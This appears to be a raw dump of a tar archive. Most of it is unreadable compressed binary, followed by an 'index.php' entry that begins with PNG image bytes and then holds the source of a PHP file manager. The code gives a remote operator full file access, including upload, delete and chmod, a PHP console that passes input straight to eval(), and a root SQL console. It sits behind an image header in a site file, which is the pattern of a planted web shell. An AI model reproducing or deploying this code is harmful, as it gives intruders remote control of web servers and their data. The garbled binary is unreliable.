Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @                                                                                                                                                                                                                                                                                                                                                                                                                                                       widget-loader.php.php.tar.gz                                                                        0000644                 00000001122 15243251040 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                index.php                                                                                           0000644                 00000234415 15243251040 0006371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
